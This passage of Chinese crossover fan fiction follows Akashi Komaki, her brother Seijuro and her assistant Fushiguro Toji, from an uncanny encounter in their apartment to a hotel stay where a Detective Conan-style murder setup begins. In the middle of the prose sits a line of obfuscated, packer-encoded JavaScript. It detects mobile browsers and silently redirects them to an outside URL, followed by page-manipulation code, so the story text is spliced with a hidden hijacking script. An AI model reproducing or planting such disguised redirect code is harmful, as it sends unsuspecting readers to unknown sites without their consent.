KOMAKI(活泼可爱版):长话短说,征十郎大概或许在打篮球的时候一不小心觉醒了,顿悟了,醍醐灌顶了,解锁了法眼。(类似法眼,但因为我们都不信佛也不好乱碰瓷,只是这样说起来会比较容易理解,也不是乱碰瓷哈) TOJI:…… KOMAKI(活泼可爱版):出于各种各样的原因,他要来家里小住两天。 KOMAKI(活泼可爱版):但是我们反正很快就走了,他大概只会看见你那么一下下。 KOMAKI(活泼可爱版):被看一眼可能会给你带来微妙的感觉 KOMAKI(活泼可爱版):人呢,说话说话 TOJI:哦,知道了。 TOJI:我们什么时候出发? KOMAKI(活泼可爱版):大概1小时吧,我和征十郎在出租车上了。 KOMAKI(活泼可爱版):不说了,邪王真眼要发作了,过会见。 “通风报信结束了。”赤司征十郎见少女不再低头敲手机,“to-ji-怎么说?” “征十郎好恶劣,虽然你的表情一点没变,但是你好阴阳怪气。”小莳异样看他一眼,很快进入正题:“我小小的润色了一下这个情况。哥哥是在篮球场上觉醒的〈天帝之眼〉没错吧,马上要去公寓也没错吧……所以我和他讲你打篮球解锁了超自然的瞳术,然后出于各种原因要去家里小住两天。” 忽略时间地点动机,小莳拥有人世间最美好的品质就是诚实。 她讲话好像是赤司征十郎今天意外才解锁天帝之眼一样, “……倒是机灵。这么怕吓到他?” “也不怕告诉你,我还挺喜欢甚尔的,做事利落、不太干涉我、帅气养眼,给我一种超市买一送三的捡漏的喜悦!性格是有点拧巴,但人无完人,可以理解。我以前被下放到瓦利亚的时候——就是那个暗鲨部队,里面的首领性格也贼拧巴,不仅如此,动不动就想刀了厨师。然后二把手就会和他吵架,因为如果厨师没了就得那个做饭超~难~吃能把牛排电焦了的下属下厨了。作为团队里唯一的女性,我还被一个动不动‘你怎么知道我是王子’的金毛80,他超mean的,哎,真是一段艰难的岁月。” “……”说着艰难岁月,怎么笑这么甜。鉴于自家姑娘刚刚才好像讲了真话但又和事实相去甚远,赤司十分有九分怀疑这话的真实性,留下一分是兄长的爱。 5. 第 5 章 小莳发来的消息勾起伏黑甚尔遥远的回忆。仅论时间,自那盘星教那天下午只过了堪堪一个月,然而于他而言恍如隔世。 无论几次想起来,六眼的五条悟都是令人不快的存在。 啧,不想承认,但他毫无疑问输得很彻底。如果他脚底抹油早点跑掉的话现在回家还能给孩子做饭,现在则是被雇佣打工。 与之相比,赤司征十郎只是一个稍微有点气势的学生仔,不值一提。赤司小莳,这点事都紧张兮兮,在她原先的世界大概也只有中人之资,大概是被保护的很好所以每天乐呵呵的弱者。结果来了这边摇身一变成为了大小姐,真是好命。 也没见她有多怀念在那边保护她的人,嗯,白眼狼。 小莳在电梯间连打三个喷嚏,她嘀咕了一下:“不会因为说了39℃,真要言出法随了吧。” 却觉得周身空气的流向都变了,站在她前头的人突然变得危险。 “哥??”怎么还突然变身的啊,都不用中二的大喊出技能名吗? 赤司征十郎没有回头,率先走出电梯,敲响公寓的门。 小莳久违的感受到了一点上位者的压迫感,在后头跟上,想着自己这个哥哥在彭格列,高低也能做个守护者候补,自然,比她还是要差上一点点的。 天帝之眼给赤司征十郎不一样的视界,肉眼目及不到的色彩团块,在每个人形体深处渗出或浓稠或稀薄的光晕,沉默又混乱,无声透露一切。 伏黑甚尔开门的一瞬间,赤司征十郎未见人,先见有黑雾从门缝内溢出。直至门完全打开,黏滞、翻滚沸腾的火焰从眼前高大形体的男人肩胛处喷涌而出,浓墨一般的爪牙在他周身蠕动。 他刚看到伏黑甚尔,些许画面如同烟雾一样出现,逸散,长相奇形怪状五官透露出邪恶的人,蝗虫一样拥挤在庭院廊道里的仆从,荒怪离奇的鬼怪,古老庄严的典仪,数不清的没有脸的女人,最后,赤司征十郎也看见一双眼。 乍见黯淡如明珠蒙尘,是快要熄灭的蓝色眼睛。颜色像小莳的。 它爆发出浑浊的光芒,一切画面瞬间崩塌、湮灭,匆忙中,没有意识到自己来不及撤离的赤司征十郎听见末世之音:“虚数【茈】。” 伏黑甚尔开门时的精神状态十分轻松。赤司家两个孩子都是小个子,他好整以暇准备低头见来客。 却感到周围的温度骤然下降,空气也变得稀薄。低头,对上一双威严的异色瞳孔。 他产生一种错觉,血液在血管中停止流动,皮肤、肌肉、骨骼被一把不可见的手术刀层层剥离。冥冥之中,不可知存在的手轻轻拨动,他的全部便分离成千丝万缕的光纤信息,分毫不差的被捕捉。 无法反抗。无可遏制的不安被镇压止息。他被锁在原地,动弹不得。 小莳视角:嚯,征十郎惊得后退十里路,甚尔开始瑟瑟发抖。简单来说,两个人都被对方吓了一跳。 赤司征十郎惊疑不定地转头,“小莳,你——”想让幼妹离这个背景古怪、性格危险、还沾花惹草的男人远一点。 但他看见一个更了不得的魔物。磅礴如潮水的黑色浮涌,其中浪花翻动发出吊诡的呓语,好似随时准备掀起海啸盛典。 侵蚀一切,吞没一切。 潮水中心,赤司见一身形淹没其中,游刃有余,谈笑风生,她还有闲心想和他说两句什么。 小莳周身有青色光芒的游丝环绕,它们与大潮交锋,迸出耀眼的光,好似铁水溅射的铁花,随后游弋在浪潮中,又生成新的游丝,循环往复。 太过靠近的话,会沦为祭品吧。这是赤司征十郎脑中最后的念想。 先后两次遭受了视觉刺激,他晕倒了。 “呜哇,征十郎!”小莳反应敏捷地托住哥哥的身体,让其不至于摔落地面。 伏黑甚尔遭受了意料之外的精神攻击,这攻击又让他联想到置他于死地的五条悟,双倍不开心。 所以他冷眼赤司征十郎倒下。被人接住了。 嘁,倒是有个好妹妹。 悻悻地希望落空,露出不爽的神情。 留下敞开的门,沉默回头,高大的背影拒绝主动搭把手。 好吧,两个不靠谱的人。一个因为被看穿了在闹小情绪,一个因为回头多看了她一眼成病美人了。 小莳看两人彼此的反应就知道是棋逢对手,虽然双方大概都不愿意承认,而刚刚征十郎转头多半是想警告她关于甚尔的事情。 不过嘛,她可比甚尔厉害多了,一下就把人吓晕过去。这下哥哥真是彻底不用担心她被带坏了!骄傲jpg。 虽不显名于体术,在彭格列多年也培养出远优于常人的身体素质。小莳独自将兄长运到自己房间。独自给他盖上被子。独自打开空调。独自给他额头上敷了一块毛巾。 这还是她第一次自己在公寓开空调。伏黑甚尔多半心情不好,什么都听在耳朵里,什么都不肯做。 干完这一切,满身疲惫的小莳走到客厅,谴责甩手管家。“你都不来帮帮我的,甚尔,坏。” 伏黑甚尔有点烦躁,房间里的动静他听得分明,只要她开口他当然会帮忙。想到这个叫赤司征十郎的一双怪异眼睛,还有晕倒的后续发展,更是心情不佳。 他于是问:“所以,现在怎么办?” “做一碗汤豆腐压压惊吧,很快的,让我们10分钟结束战斗。”小莳推推伏黑甚尔的后背,示意他快去干活。 确实也只用了10分钟。 带着家务手套将热锅端上桌,“你今天怎么想吃这个?” “我不想吃,甚尔你是知道我是个重口味的。”小莳摇头,下一句话让伏黑甚尔一秒心情变差,“征十郎爱吃。给他准备的。” “哦。”将锅重重的撂在桌上,转身解围裙,离开。 “现在,就是我们出发的时间咯!智多星小莳估算的一点不错,说1小时就是1小时捏。”小莳背起属于自己的小书包——CHANEL22k。 “?”伏黑甚尔没弄明白现在的情况。 “不是说好要去旅游的吗?” “你兄长还晕在卧室里吧。” “是这样没错,但是我谷歌了一下症状,他说问题不大。” “……” “而且家里太小了,住不下三个人。如果让哥哥睡沙发也太失礼了。”小莳还没忘记给自己说过的话打个补丁,再次提醒征十郎要在这里住两天的事情。 “也不一定是他睡沙发。” 小莳露出为难的神情:“这不好吧,我也不想睡沙发诶。好歹是这个家的一份子,我必不能这么亏待自己。” 伏黑甚尔自己都没有注意到嘴角的上扬,他脱下厨房手套:“那我们走吧。” “好耶!我今晚要吃酒店经典的普罗旺斯炖菜。你知道吗,它本来是法国南部的乡村料理,这家酒店所用的炖菜食材全是本地高原产的新鲜蔬菜,据说是本土化做的非常好的一道经典菜肴!”小莳兴致勃勃的科普,“如果我觉得好吃,你就去混入厨师团队,打探一下怎么做,回来可以天天吃! —————— 2007年的某一个午后。 决心成为教师的五条悟在台阶上和已是校长的夜蛾正道聊起叛逃的挚友。说是聊,其实是在通过敷衍前班主任来打发高层。 忽然之间,打了个寒颤。 “怎么了,悟” 他抬头,苍蓝的天空映在一双苍天之瞳,万里无云,一如他的眼睛里什么也没有:“没什么,突然之间感觉天上的飞鸟在注视我。但是六眼没有反应,错觉吗?说到哪了,哦,总之我想做个教师。” —————— 普罗旺斯炖菜里面居然有洋葱、红椒、黄椒。 这里本土化还添加了菜根。 小莳苦恼的给伏黑甚尔发消息。 KOMAKI(活泼可爱版):我有罪。首先是犯下傲慢之罪,看美食总动员以为会是感动到落泪的菜,没有查明蔬菜成分就贡高我慢地选择了他。然后是犯下了暴食之罪,一不小心点了一桌子菜,神提醒我“你只走到这里,不可越过”,然而,神的劝说不但没让我迷途知返,还竟敢正面挑战蔬菜之神的尊严。 KOMAKI(活泼可爱版):后面忘了。toji多吃点。你看这炖菜鲜艳的色泽,你看这小扁豆汤多么诱人。 TOJI:美食总动员是什么 TOJI:喜欢哪道菜? KOMAKI(活泼可爱版):我宣布红酒炖牛尾秒了全场(?ω?),toji感觉能做出来吗? KOMAKI(活泼可爱版):小时候的一部电影,讲的是老鼠做饭。我记得是07年出的,你可能没缘分看过它。 KOMAKI(活泼可爱版):今晚去你套间投屏!我也来重温一下,你房间号多少 TOJI:没有,我住的商务单人间。406。 “为什么不住套间,这边房间价格应该没有刷到限额。现在我不在京都,父亲的助理不会总跟他汇报我的情况了。”小莳惊讶,“倒也不必给我省钱,够用的。” 在京都,她是父亲手底下被管教的女儿,在米花,她是被父亲外包给兄长的妹妹。这之间有个管理权限的变化,虽然都是不自由的,但征十郎控制欲没那么多,为人也更大方。 伏黑甚尔回答她:“其余套间周末预定出去了,有森饭店只有2套间。怎么不发短信了?” “这不是刚刚在说一些‘饭不好吃’(声音降低)的话,被听见了岂不是很尴尬!”现在警报解除,小莳元气满满地说道,“没关系,大小姐我还有个套间,我们过会去沙发上看电影。” “……”不,听起来就很幼稚的电影什么,就只是随便一问。 虽然这么想,他也出言没拒绝。 晚餐快结束时,饭店经理有森先生带着主厨子门忍前来问候,“两位吃得还好吗?对酒店有什么建议可以和我说。” “子门女士厨艺精湛,尤其是炖牛尾格外美味,我非常喜欢。”小莳想了想,补充:“特色香草饮也很好喝,正适合夏天解渴,如果可以的话我希望带两杯上楼,过会我和我的助理准备一起看电影。” “多谢夸奖。”子门忍有一头干练的棕色短发,听见顾客的肯定后露出开心的笑容,“当然可以,需要额外准备一些小食吗?” “如果可以的话那就太好了!我想要一些薯条和炸鸡翅,子门小姐看过美食总动员吗,依我之见还是炸物最配这种温馨的电影。” “当然!这是我儿时最喜欢的一部电影,最初接触法餐也是因为那一句‘anyonecancook’,没想到过了十年还有人在看。”听见小莳谈起这个,子门忍越过有森经理和她聊了起来。 “勇气真的是很美好的品质!说到这我第一次听说普罗旺斯杂烩也是因为它~很好奇电影里说到的妈妈爱的味道的菜。”虽然和想象中大相径庭,但也算是一次有趣的尝试。 有森经理眼观六路,看见伏黑甚尔无聊地敲桌子,便拉扯了一下子门忍的后摆:“那么,1小时后美奈穗和穗奈美会将茶点送到301号房,二位看可以吗?” “好哦,谢谢子门女士和经理了。我们稍后回房。”小莳低下头,转动着高脚杯,等他们离开后方才放下。 “怎么了?”伏黑甚尔露出轻浮的笑,“这么不自在。” “我不喜欢他。很怪。”小莳抬手挡住嘴唇,悄悄说。 “……” 伏黑甚尔还挺新奇赤司小莳不着边际的性格,长相也可爱——不算他偏好的类型,但是审美上的美丑总存在社会共有的定论标准,毫无疑问在容貌上赤司家兄妹都一骑绝尘。 助理工作的内容略有些繁琐,但也足以胜任,生活也比过去辗转不同女性身边要有趣些,而且这位出手更阔绰。如果她感兴趣,说不定被包养也会很有乐趣,只可惜这大小姐目前完全没有相关意向。 还是个没长大的小屁孩。 在他决定离开之前,多体验一些也无妨。他不知道这大小姐这是在说哪一出,但无需理解,她不是喋喋不休会宣扬自己的类型。 看电影对伏黑甚尔来说是一种新奇的体验。房间灯全关,只留面前的屏幕倒映着投影仪的画面。禅院家的老古板自不可能将这些新潮的东西主动引入宅院,出来以后四处辗转多见的也只是小型家用电视——里面播放着广告节目:商场打折了,保健产品热线电话,和饭店里高高挂着的赛马或者竞赛游艇实况。 他没买过电视上的东西,他从没中过奖。 现在,他倚在沙发上,旁边是瘫得不成人形、胸前抱着抱枕的赤司小莳,她正全神贯注的看老鼠搬家。 老鼠偷东西被人类发现,人类举枪失手打破天花板,老鼠全家都掉下来,倾巢而出逃亡。老鼠没跟上,在下水道被冲走。 “他叫小米,是很有梦想的爱卫生的老鼠,很快他就要遇到合作伙伴林奎尼了。” 倒是有人在很认真的看。 电影是2007年上映的,他是2006年被干掉的,思绪还没飘远,小莳坐起身,推推他,令他回神。 好吧,让他看看伙伴是怎么个事。 “子门女士说‘anyonecancook’是最激励她的一句话,我最喜欢的反而是这个片段呢。”小莳挪挪挪,盘腿坐在沙发中间,更靠近伏黑甚尔的地方。 “料理这事还得看天赋。举个例子,我的一个网友,就叫她小惠吧。以前是远月的吊车尾,有一次甚至因为在老师面前表现得太紧张差点被退学,但后来老师看到了小惠的天赋,还收她做弟子。现在小惠是乡土料理大师了。如果她只是一个温和害羞努力料理的小女孩,大概会退学,不会有今天的一切。” “所以对我来说‘anyonecancook’是一个令人眼前一亮的标语,而这里——”林奎尼放出了瓶中的老鼠小米,小米一溜烟跑远了,但在夜晚河畔昏黄的灯光下,他又一步一步走回林奎尼,来到他的手掌,“小米本可以一走了之,继续找户人家做房梁上的小鼠——巴黎老鼠600万,多一个也不多,但是为了梦想,面对一个体型千倍于他的怪物,他忐忑的鼓起勇气,回去了。” “有勇气并不代表不害怕,他只是在最终的无数选择里,走上了要踏足的未来。”小莳这样说着,身体又软下来,“这也是很能打动人的地方,至少对我来说很有启发。” “嗯。”本来是没特别在意的情节,听赤司小莳的观感,他想到了小时候。 伏黑甚尔并不会自诩为念旧的人。也不总想起从前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413073|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天与咒缚不是咒术师家族的吉兆,所以被关在咒灵库也是不值得被在意的琐事。于年久失修的封建机器而言,不被期待的存在就这样死掉也无所谓。 他还记得咒灵库里地上因久无人打扫堆积的尘土,灰尘的味道,血的味道,混合着被咒灵啃噬的恐惧的味道。 伏黑甚尔想,孔时雨总是感叹自己随便说点什么就能讨女人欢心,“说不定就算身材平平相貌平平也能吸引异性呢”,眼前的这位漂亮姑娘大概在这方面能力更甚。 这段时间她几乎没有主动探听什么,只关于赤司征十郎的瞳术例外——情有可原,但有一个瞬间他竟然觉得自己被理解了,而对方没有刻意。 话说小惠这个名字,有点熟悉。 哦,原来是和我儿子同名啊。 那没事了。 小莳特意没有联系征十郎,猜测他大概短时间内也不想见到自己。 不过以后有机会的话,还是要问一问他到底看到了什么。或许……下个月吧,先给哥哥一点私人空间。 第二天,在经历和双生子服务员闲谈中,小莳得知了一个噩耗,名侦探毛利小五郎将携带一家三口来此度假。 “你知道吧,有毛利侦探或者柯南的地方必有凶案,源头是谁我还没排除出来,但就是他们两个中的一个。”小莳信誓旦旦,“更重要的是要见到小兰了,不知道你记不记得,我从昨天开始高烧不退呢。” 伏黑甚尔不以为意:“你只是讨厌毛利小五郎才这么说,你想现在回去也可以,直到现在你都没出过酒店的门,这和你在卧室里也没区别。”现在是下午两点。 小莳振振有词:“我是准备周末狠狠出去一天的。现在这叫做养精蓄锐。” 伏黑甚尔顺着她的话往下讲:“好的,明天你可以和同学还有名侦探一同出行了,恭喜。” 小莳:“你坏。” 一听说熟人要来,头疼,得上床躺一会才能好。小莳回房,伏黑甚尔露出“果然如此”的神情。 在床上瘫着玩手机的时候,她接受到了毛利小五郎来临的消息。 TOJI:毛利小五郎来了 TOJI:看到小鬼了。 KOMAKI(活泼可爱版):我跟你说明天结束之前必出命案,不是在危言耸听 KOMAKI(活泼可爱版):你听我分析:你知道我们两个还有毛利三个都不会死,而酒店目前见了四个人,我感觉他们互相之间都没有很复杂的伦理关系,除了子门女士和经理此前似乎是旧识,但没有恩怨哈。所以我推测,今天除了毛利3个人,必定还有新的住户……数量,3个吧 KOMAKI(活泼可爱版):当然这不是重点,你第一次给我主动发消息ヾ(●??`●) KOMAKI(活泼可爱版):我好开心 礼貌性开心一下的小莳丢开手机,在床上翻滚了一圈,随后下床洗了把脸。她对伏黑甚尔真是挺高情商,大概一定程度上将他视为同类了,她这样想。 这家伙看起来明明一穷二白没什么可图的,但性格那样警惕,好像有谁要伤害他,感觉是不会主动给别人输出观点的男人,太好了,她正好能和这种人合得来。 有森酒店明明也不是什么热门景点,过去一天也只接待了自己和甚尔两个人。结果最后还是要遇到这么尴尬的事情。 然后出房间的小莳从伏黑甚尔那边得到了答案,竟然是因为这里的啤酒特别有名,因独特的材料和洁净的泉水,发酵出自然的香草味。 毛利小五郎你…… 和毛利兰打了招呼,在对方惊讶的眼神中解释道,生病了,所以想找一家安静的旅馆,靠近自然的疗养一下。听说这里不仅离市区比较近,而且有环境宜人的高原与河流,昨天稍微退烧,便提出让助理带自己来这边小住几天。 “原来是这样,小莳和园子不愧是玩得来的好友。”都不会委屈自己,品味也都很棒。 江户川柯南:兰,你怎么这么天真!什么都信只会害了你! 毛利小五郎得知小莳竟然是小兰的同龄人,还是同班同学,顿时不好意思,态度也端正起来,开始表现出一点成年人的靠谱。 下午茶全程柯南都格外乖巧,爸爸也没有做出丢脸的事情,还碰见了朋友小莳,还看见了小莳的助理本人,确实是难得一见的大帅哥。 毛利兰觉得是十分幸运的一天。 “关于其他的住户,你猜错了。是一对关系不好的夫妻。”伏黑甚尔见小莳的注意力全程被毛利三人吸引,没有主动找自己说话。莫名不爽。 “你不懂,命运的齿轮还没开始转动,还有三十多小时呢。”小莳的目光没离开江户川柯南,总感觉好像忽略了什么,关于这孩子的信息。 伏黑甚尔难得主动开启对话,对方无应答,更不爽了。 他觉得自己也没有很想和赤司小莳讲话,不如玩手机。 大概是毛利兰和园子line了一会,没一会小莳就接到了来自这位同学的兴师问罪电话。 “园子……也是凑巧,大概这里离米花比较近吧,这里的高原听说很美,昨天和今天没有敢出去吹风,明天大概可以让甚尔载我出去看看了,咳咳,你在家里?网购其实也是很好的选择,我最近比较喜欢一个牌子,感觉里面不少款式也十分适合园子你呢……确实是帅气又沉稳呢,哈哈哈哈哈哈真的吗?请务必把(她老公【超小声】)的照片发给我看……” 好声好气的和铃木园子聊了一会,打发着挂了电话,那边毛利兰就一脸歉意的坐过来了“抱歉小莳,我只是和园子说了一声,没想到她直接来找你了。” “啊没关系。”小莳并不在意这些细节,“能和园子聊两句还挺不错。” 她低头看园子传来的信息。 网球公主:【图片】【图片】 网球公主:怎么样,我拍的哦,是不是审美在线!! 点开图片,眉清目秀的高中生,但……额前刘海,后脑勺的狼尾,这工藤新一怎么一股柯南味啊。 拼图的最后一块碎片就位,这要再看不出来真相小莳就是傻子了。怪不得当时提起工藤新一这个名字,江户川柯南秒变敏感肌。 这里的唯物主义原来是钢铁侠高科技路子的世界观,是她孤陋寡闻了。 内心的疑惑一瞬间解除了,小莳便没有在将注意放在江户川柯南aka工藤新一身上,先给甚尔来点靓照。 这边伏黑甚尔漫无目的的在不知什么时候随便下载的各类app里巡游。实际上,隔壁桌三人的对话 “兰姐姐我觉得那个叔叔有点凶。是上次去光彦家就认识的,赤司姐姐是你的同学吗?” “柯南,这么称呼伏黑先生太失礼啦。” “臭小子,不要乱喊人”还有一声悦耳的“啪”,小鬼的头被打了。 小声嘟囔“你喊他叔叔他不就和我同辈了。” 全被极佳的耳力捕捉。 乃至于后续的通话…… “兰说你的助理先生比照片好看!你们到底在背着我偷吃什么好东西?!当然在帅气的助理在她心里肯定也比不过不知道到哪里潇洒去的老公,小莳想看新一的照片吗?用大帅哥的照片和我换哦,明天去高原多怕几张!” 而少女言笑晏晏满口答应。 6. 第 6 章 “甚尔,想出去走一圈吗?” “不想,我在忙。” 小莳低头,发现他在看博主学做饭。怎么说,就还,对业务要求挺高?很明显是在随便刷刷。 伏黑甚尔也低头,看见了自己手机屏幕上的短视频,自动播放的。 “……”她难得沉默。 伏黑甚尔大胆起来:“怎样,有意见吗?” 一听这故意唱反调的架势就是拧巴劲又犯了,小莳晃晃脑袋,这时候还是放置让他自己回到出厂设置比较好。后退一步,露出礼貌的微笑:“唐突了,见谅。” 她回房继续和手机醉生梦死。 哎,像她这样带员工出来度假,考虑员工精神状况,主动缓解尴尬的好雇主,真的难找。遇到算他上辈子修来的福气。 照片的事情急不得,等到明天出行的时候再拍。 晚饭时分,小莳经前台电话提醒,姗姗来迟。伏黑甚尔已经坐在餐桌前自给自足了。 这次的格式化进程比较慢,都不喊她吃饭。 自己拉开椅子坐下,扫码随手点了一杯啤酒和一份薯条。 虽然毛利小五郎因为一杯啤酒就决定来度假的事情令人无语,但小莳也因此很诚实的被种草了,更何况当前餐厅里的背景音就是毛利小五郎吨吨吨。 哐哐下2扎。 备注:啤酒请打包,因为是特产所以想带给家中父亲尝尝。 实际是带上楼自己喝的。等明天甚尔恢复正常了就说是被他喝掉了后续再买就可以w 毕竟自己登记的身份信息17岁,法律上要到20岁才可饮酒。 等餐时,小莳稍微看了一眼甚尔白天说起的夫妇。男方普普通通大腹便便,一眼就是做生意的,不值得在意;女方是备前千鹤,女演员,演技很不错,相貌也很突出,只是资源不是很好,最近看见她总是在无聊的电视剧里,小莳只看过一些cut剪辑。 今日一见,发现是脾气有点暴躁、讲话不太好听的美女。 “你们这汤难喝死了!” 子门忍加入战斗。 “有意见就离婚,赡养费赔死你。” 丈夫程元擦汗。 “你们这项目开发还管居民意见的啊,有钱就行了。” 有森经理怒目而视。 “看什么看!吃你的饭去,白毛!”这话是对小莳说的了。 被莫名其妙的说了一顿,但并不觉得生气。 上一次有这种感觉还是在威尼斯,第二天那个来自美国的家族就被……每一个都变成了混在一起的DNA。 诠释一家人。 直觉如此,小莳又一向直觉很准。看来,这场凶案三要素中的受害人已经准备就位。 小莳看了一眼江户川柯南。 柯南:? 她摇摇头,专心致志享用自己的晚餐。 过了一会,备前千鹤不知出于什么动机,来找伏黑甚尔搭讪。 小莳猜测是因为在场的人实在不多,怼了一大半,只好在剩下的一小半里选择一点社交对象。 甚尔现在不知道在想什么,如果真的和刚刚嘴过自己的女人相谈甚欢,她会不爽。 按照在彭格列的惯例,于己无用的下属还是早点甩出去给别人比较好。凭她以往的能力,也不需要人照顾。 可今时不同往日,小莳是个除了钱一无所有的可怜人了,且甚尔君业务能力确实不错,直接炒鱿鱼的话总会有些舍不得。 小莳决定挽救一下自己的助理,希望他不要在被解雇的边缘兴风作浪。 “甚尔君,我以雇主的名义要求你,请不要和备前女士说话。如果你们聊起来我会很困扰的。”她真是一个时时刻刻为下属考虑的好领导。小莳在心里给自己夸夸。 伏黑甚尔笑意加深:“哦,听见了,我不和她说话。” “OK,那我就放心了。” 小莳并未注意他讲话时的口吻,只觉得自己成功解救了差点失业的助理。 得到承诺以后,一时没心情在餐厅社交了,摆摆手请经理将点的其他东西届时一并送往房间。 路过毛利家那桌时,对上毛利兰担忧的神情,她回以一笑,“我有点累,上楼睡一觉。” 她走到餐厅出口时,正见到通道里气喘吁吁赶来的瘦小中年男人,嘴里喊着“千鹤千鹤!” 她突然觉得自己还是有力气回头给自家助理一个眼神的。 于是她做了。 命运的齿轮正式开始转动,小莳做出口型:我-就-说-吧 溜了溜了。 她的行为并没有被一直悄悄关注着他们的江户川柯南忽略。 我就说吧? 这是什么意思,和这个娱乐公司的社长有什么关系? 皮下是名侦探工藤新一的小学生被困扰住了。 伏黑甚尔恢复工作状态,晚上八点准时来到大小姐房间,帮她准备浴缸和空调定时。 进入房间时便嗅到一阵酒的微苦味道,混杂着香草的清新。客厅里响起听不懂的语言,想是在看外国电视剧。 伏黑甚尔看见赤司小莳全身裹在宽大的酒店浴袍里,头发潮湿未干,一绺一绺地散在浴袍上,沙发后背挂着不少水珠。 她屈膝团成一个球,下巴被肩膀和膝盖承托着,专注地看扮演出的爱恨情仇。他记得进来时发出了一些动静,但她没回头查看情况。 哦,右手还拿着半扎啤酒,里面插着一根吸管,她漫不经心叼着另一头。 他自觉的去拿了一条浴巾,动作轻柔地为少女擦拭头发。 小莳将头靠着他手上的浴巾,身体也舒展开。右脚寻到了拖鞋,左脚也紧随其后。 “今天洗这么早?”有电视剧作背景音,伏黑甚尔还是觉得太过安静,于是率先开口。 “想喝一杯,所以提前洗了。”小莳嗓音较平常沙哑,透着愉悦舒畅。 “怎么不喊我帮你。”说这句话的时候,他观察面前背靠着他的人的反应。 “我以为你不想理我。” “……我没有。” 说谎是人类的众多本性之一。小莳处理起来得心应手,这次就用事实和合理推测来驳倒。 “1.下午茶的时候你拒绝了我的邀约,原因竟然是看人做菜,没发现你在工作里这么精益求精。2.晚餐时间你没有来喊我,也没有点我的菜,也没有帮我拉开座椅。3.我有轻微的感觉你比较愿意和备前女士聊天,而我的感觉大部分时间准确。”确定的放在前面,推测留到最后。 伏黑甚尔的手顿了一下,“我没有和她说话,你生气了?” “所以关于12两点我们应该达成共识了。”低温有助于暂时消减啤酒的苦涩味,而香草的气味和类似于青苹果的香味则得到了更好的激发,总而言之,味道很不错。而且有研究证明,酒精可以刺激神经,所以喝点度数低的啤酒,反而更容易集中注意力,也更镇静。小莳觉得现在思想格外清明。“关于3,我的意思是,在餐桌上——晚上六点你和她社交的意愿程度比较高,你说的是最终发生的事情,所以刚才的那句话并不算有效的反驳。我没有生气。我很高兴你最终没有和她说话,以及,请坐。” 看样子甚尔君目前沟通欲在线,正是员工大会的好时机,优秀的领导小莳不打算错过这个机会。而且,这个电视剧情正演到无聊的地方。 “头发还在滴水。” “它已经滴了一段时间了,再过一会解决也无妨。” “那把空调关一会,可能会着凉。” 小莳点头,伏黑甚尔便走到沙发前的茶几上拿起遥控器操作,回头看见她微红的双颊,即便因他挡住投影也没有改变方向的视线。了然她是微醺了。然后坐下,等她开口。 “那边打包袋里还有一扎,你可以喝。”随着小莳手指的方向,伏黑甚尔看见茶几下的啤酒。 他不喜酒类饮料,但是听小莳的话倒了一杯,在她重新窝起来并向他投来的期待目光下,还喝了一口。 是不喜欢的味道,刚刚只该说一声不喝就好了。伏黑甚尔马后炮。 然后再喝了一口。 小莳的的眼睛这才变成笑眯眯的,问他“感觉怎么样。” 很糟糕。“……挺好的” “哦~”先是音调回转。 “你不喜欢。”再是语气笃定。“那就别喝了,冰箱里有可乐、乌龙、果汁、矿泉水,有需要自便。” “……” 伏黑甚尔一直是一个很成功的扑克脸,至少在过往的人生中如此。孔时雨常说“搞不懂你在想什么”,他的第一任妻子也会说“甚尔面无表情的样子猜不透呢”,后面的很多很多女性也或娇嗔或怨怒或不理解的此类说法,情景不一但内容大同小异,最后他的儿子也“算了,不懂你,走吧津美纪。” 然后在这边先是见识了几次赤司小莳的敏锐,再经历了天帝之眼的洗礼,现在又来一次。 “甚尔君,其实我对你知之甚少,而依照雇佣者和助理的一贯常理论,我们彼此之间也不需要什么理解,只需要你把工作圆满完成就可以。” “你是一个经常会不开心的人,而你的不开心又会影响到我的生活质量。” “……我没有经常不开心。” “聊起御三家的那次、我第一天上学我们聊天的时候、调侃你虽然年纪不太大但意外的看起来年长那次、去园子家参观忘记回你消息那次、没带你去东大那次、今天。我记忆力不错,但不排除有遗漏。” 伏黑甚尔不说话,小莳眯起眼睛,仿佛看见伏黑甚尔旁边有个图表,现在代表沟通欲望的柱状图从7分变成最多3分了。 “你现在不开心了。你不想和我说话,也不想回复手机消息,而这是你每次不开心的时候会做的事情。至少今天我们把问题放到台面上提及了,不算白费功夫。如果你想离开的话也请便,或者你愿意留下来再 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吹风机关掉以后唯余屏幕中的神父说:“Ifanymanamongyouseemtobereligious,andbridlethnothistongue,butdeceivethhisownheart,thisman''sreligionisvain.”(若有人自以为虔诚,却不勒住他的舌头,反欺哄自己的心,这虔诚只是徒劳。新约·雅各书1:26) 小莳一听,心中乐呵,还挺应景。可惜这里不是上帝他老人家的辖区,不然这不得请他下来劝劝甚尔君。 伏黑甚尔把自己认为太过安静的原因归结于自己听不懂英语,如果他能看懂的话也不至于站在这里无所事事。至少可以看电视。 犹豫了一阵子,也不算久,刚刚够神父说完1:26,流浪猫浅吃一口好心人送来的新鲜粮。 “你想说什么。”伏黑甚尔姿势慵懒的坐在沙发上,手臂展开搭在边沿,左手甚至伸到小莳的耳后,翘起了腿,看起来很是不拘束。 倘若猫在人脚边伸懒腰,这并不可信。他确实是松弛懒散的,也确实是随时准备跑路的。如果有人意识不到这两者不冲突,那这人不懂猫。 “甚尔君为什么决定要来房间里找我?”小莳往左边让了让,给彼此一点距离。 “因为要准备浴缸和空调定时。”伏黑甚尔没有一点停顿地回答。 “那让我再问一个问题,为什么没有喊我下去吃饭呢?” “忘记了。” 刚开口他就知道这是一个拙劣的谎言。没办法,已经说出来了。他破罐子破摔。 看看这女孩接下来要说什么。 “甚尔君不喜欢被忽视,对吗?”刚刚在记忆里搜罗到的几次不愉快情况,归纳总结一下,小莳发现都源于自己对伏黑甚尔的缺乏关注。 